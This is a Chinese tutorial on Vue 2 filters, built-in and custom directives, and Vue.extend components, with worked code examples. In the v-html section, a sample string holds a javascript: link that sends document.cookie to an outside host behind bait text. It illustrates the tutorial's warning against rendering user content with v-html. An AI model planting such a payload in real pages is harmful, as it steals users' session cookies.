首页 > 网络编程 > JavaScript > javascript类库 > vue.js > Vue过滤器

Vue过滤器与内置指令和自定义指令及组件使用详解

2022-12-12 09:35:16 作者：糖^O^

这篇文章主要介绍了Vue过滤器与内置指令和自定义指令及组件使用方法，文中通过示例代码介绍的非常详细，对大家的学习或者工作具有一定的参考学习价值，需要的朋友们下面随着小编来一起学习吧

过滤器

定义：对要显示的数据进行特定格式化后再显示（适用于一些简单逻辑的处理）

过滤器可以用在两个地方：双花括号插值或 v-bind表达式。

局部过滤器

局部过滤器是在某一个vue实例的内容创建的，只在当前实例中起作用

<script>
export default {
  data() {
    return {
      price: 100
    };
  },
  filters: {
    filter_addbfh(value) {
      return value + '%';
    }
  }
};
</script>

全局过滤器

通过全局方式创建的过滤器，在任何一个vue实例中都可以使用

注意：使用全局过滤器的时候，需要先创建全局过滤器，再创建Vue实例

显示的内容,是由过滤器的返回值决定

使用语法: <h1>{{name | myfilter1}}</h1>

Vue.filter('filterName', function (value) {
  // value 表示要过滤的内容
})

示例（过滤器）：

<div id="root">
    <h2>显示格式化后的时间</h2>
    <!-- 计算属性实现 -->
    <h3>现在是：{{ fmtTime }}</h3>
    <!-- methods实现 -->
    <h3>现在是：{{ getFmtTime() }}</h3>
    <!-- 过滤器实现 -->
    <h3>现在是：{{time | timeFormater}}</h3>
    <!-- 过滤器实现（传参） -->
    <h3>现在是：{{time | timeFormater('YYYY_MM_DD') | mySlice}}</h3>
    <h3 :x="msg | mySlice">尚硅谷</h3>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false
    //全局过滤器
    Vue.filter('mySlice',function(value){
        return value.slice(0,4)
    })
    new Vue({
        el:'#root',
        data:{
            time:1621561377603, //时间戳
            msg:'你好，尚硅谷'
        },
        computed: {
            fmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        methods: {
            getFmtTime(){
                return dayjs(this.time).format('YYYY年MM月DD日 HH:mm:ss')
            }
        },
        //局部过滤器
        filters:{
            timeFormater(value, str='YYYY年MM月DD日 HH:mm:ss'){
                // console.log('@',value)
                return dayjs(value).format(str)
            }
        }
    })
</script>

内置指令

v-text指令

用处：向其所在的节点中渲染文本内容。

与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

<div id="root">
    <div>你好，{{name}}</div>
    <div v-text="name"></div>
    <div v-text="str"></div>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false 
    new Vue({
        el:'#root',
        data:{
            name:'小溪',
            str:'<h3>你好啊！</h3>'
        }
    })
</script>

v-html指令

(使用的很少)

作用：向指定节点中渲染包含html结构的内容。

🌞🌞与插值语法的区别：

v-html会替换掉节点中所有的内容，{{xx}}则不会。
v-html可以识别html结构。

严重注意：v-html有安全性问题

在网站上动态渲染任意HTML是非常危险的，容易导致攻击。
一定要在可信的内容上使用v-html，不要用在用户提交的内容上

<div id="root">
    <div>你好，{{name}}</div>
    <div v-html="str"></div>
    <div v-html="str2"></div>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false 
    new Vue({
        el:'#root',
        data:{
            name:'张三',
            str:'<h3>你好啊！</h3>',
            str2:'<a href=javascript:location.href="http://www.baidu.com?" rel="external nofollow" +document.cookie>兄弟我找到你想要的资源了，快来！</a>',
        }
    })
</script>

v-cloak指令

（没有值）

使用css配合v-cloak可以解决网速慢时页面渲染不出来，而展示出{{xxx}}的问题。

<style>
    [v-cloak]{
        display:none;
    }
</style>
<div id="root">
    <h2 v-cloak>{{name}}</h2>
</div>
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
<script type="text/javascript">
    console.log(1)
    Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
    new Vue({
        el:'#root',
        data:{
            name:'尚硅谷'
        }
    })
</script>

v-once指令

🌞🌞🌞

v-once所在节点在初次动态渲染后，就视为静态内容了。
以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<div id="root">
    <h2 v-once>初始化的n值是:{{ n }}</h2>
    <h2>当前的n值是:{{ n }}</h2>
    <button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false 
    new Vue({
        el:'#root',
        data:{
            n:1
        }
    })
</script>

v-pre指令

🚩跳过其所在节点的编译过程可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译

<div id="root">
    <h2 v-pre>Vue其实很简单</h2>
    <h2 >当前的n值是:{{n}}</h2>
    <button @click="n++">点我n+1</button>
</div>
<script type="text/javascript">
    Vue.config.productionTip = false 
    new Vue({
        el:'#root',
        data:{
            n:1
        }
    })
</script>

自定义指令

两个实例：

定义一个v-big指令，和v-text功能类似，但会把绑定的数值放大10倍。
定义一个v-fbind指令，和v-bind功能类似，但可以让其所绑定的input元素默认获取焦点。

语法：

局部指令：

directives: {
  focus: {
    // 指令的定义
    inserted: function (el) {
      el.focus()
    }
  }
}

全局指令：

<script>
    // 注册一个全局自定义指令 `v-focus`
    Vue.directive('focus', {
        // 当被绑定的元素插入到 DOM 中时……
        inserted: function (el) {
            // 聚焦元素
            el.focus()
        }
    })
</script>

配置对象中常用的3个回调：

bind：指令与元素成功绑定时调用。
inserted：指令所在元素被插入页面时调用。
update：指令所在模板结构被重新解析时调用。

定义全局指令

<div id="root">
    <input type="text" v-fbind:value="n">
</div>
<script type="text/javascript">
    Vue.config.productionTip = false
    //定义全局指令
    Vue.directive('fbind', {
        // 指令与元素成功绑定时（一上来）
        bind(element, binding){
            element.value = binding.value
        },
        // 指令所在元素被 插入页面时
        inserted(element, binding){
            element.focus()
        },
        // 指令所在的模板被重新解析时
        update(element, binding){
            element.value = binding.value
        }
    })
    new Vue({
        el:'#root',
        data:{
            name: '尚硅谷',
            n: 1
        }
    })
</script>

局部指令：

new Vue({
    el: '#root',
    data: {
        name:'尚硅谷',
        n:1
    },
    directives: {
        // big函数何时会被调用？1.指令与元素成功绑定时（一上来）。2.指令所在的模板被重新解析时。
        /* 'big-number'(element,binding){
					// console.log('big')
					element.innerText = binding.value * 10
				}, */
        big (element,binding){
            console.log('big',this) //注意此处的this是window
            // console.log('big')
            element.innerText = binding.value * 10
        },
        fbind: {
            //指令与元素成功绑定时（一上来）
            bind (element,binding){
                element.value = binding.value
            },
            //指令所在元素被 插入页面时
            inserted (element,binding){
                element.focus()
            },
            //指令所在的模板被重新解析时
            update (element,binding){
                element.value = binding.value
            }
        }
    }
})

非单文件组件

基本使用

Vue中使用组件的三大步骤：

定义组件(创建组件)
注册组件
使用组件(写组件标签)

定义组件

使用Vue.extend(options)创建，其中options和new Vue(options)时传入的那个options几乎一样，有点区别；

区别如下：

el不要写 ——— 最终所有的组件都要经过一个vm的管理，由vm中的el决定服务哪个容器。
data必须写成函数 ——— 避免组件被复用时，数据存在引用关系。

data必须写成函数：

创建一个组件案例：Vue.extend() 创建

    //第一步：创建school组件
    const school = Vue.extend({
        template:`
				<div class="demo">
					<h2>学校名称：{{schoolName}}</h2>
					<h2>学校地址：{{address}}</h2>
					<button @click="showName">点我提示学校名</button>	
    </div>
			`,
        // el:'#root', //组件定义时，一定不要写el配置项，因为最终所有的组件都要被一个vm管理，由vm决定服务于哪个容器。
        data(){
            return {
                schoolName:'尚硅谷',
                address:'北京昌平'
            }
        },
        methods: {
            showName(){
                alert(this.schoolName)
            }
        },
    })
    //第一步：创建student组件
    const student = Vue.extend({
        template:`
				<div>
					<h2>学生姓名：{{studentName}}</h2>
					<h2>学生年龄：{{age}}</h2>
    </div>
			`,
        data(){
            return {
                studentName:'张三',
                age:18
            }
        }
    })
    //第一步：创建hello组件
    const hello = Vue.extend({
        template:`
				<div>	
					<h2>你好啊！{{name}}</h2>
   		 </div>
			`,
        data(){
            return {
                name:'Tom'
            }
        }
    })

注册组件

局部注册：靠new Vue的时候传入components选项
全局注册：靠Vue.component(‘组件名’,组件)

注意点

组件名：

一个单词组成：

第一种写法(首字母小写)：school
第二种写法(首字母大写)：School

多个单词组成：

第一种写法(kebab-case命名)：my-school
第二种写法(CamelCase命名)：MySchool (需要Vue脚手架支持)

备注：

(1).组件名尽可能回避HTML中已有的元素名称，例如：h2、H2都不行。

(2).可以使用name配置项指定组件在开发者工具中呈现的名字。

VueComponent

school组件本质是一个名为VueComponent的构造函数，是Vue.extend生成的。
我们只需要写<school/>或<school></school>，Vue解析时会帮我们创建school组件的实例对象，即Vue帮我们执行的：new VueComponent(options)。

关于this指向：

组件配置中：data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是【VueComponent实例对象】
new Vue(options)配置中：data函数、methods中的函数、watch中的函数、computed中的函数它们的this均是【Vue实例对象】

VueComponent的实例对象，以后简称vc（也可称之为：组件实例对象）。Vue的实例对象，以后简称vm

内置关系

VueComponent.prototype.__proto__ === Vue.prototype

到此这篇关于Vue过滤器与内置指令和自定义指令及组件使用详解的文章就介绍到这了,更多相关Vue过滤器内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家！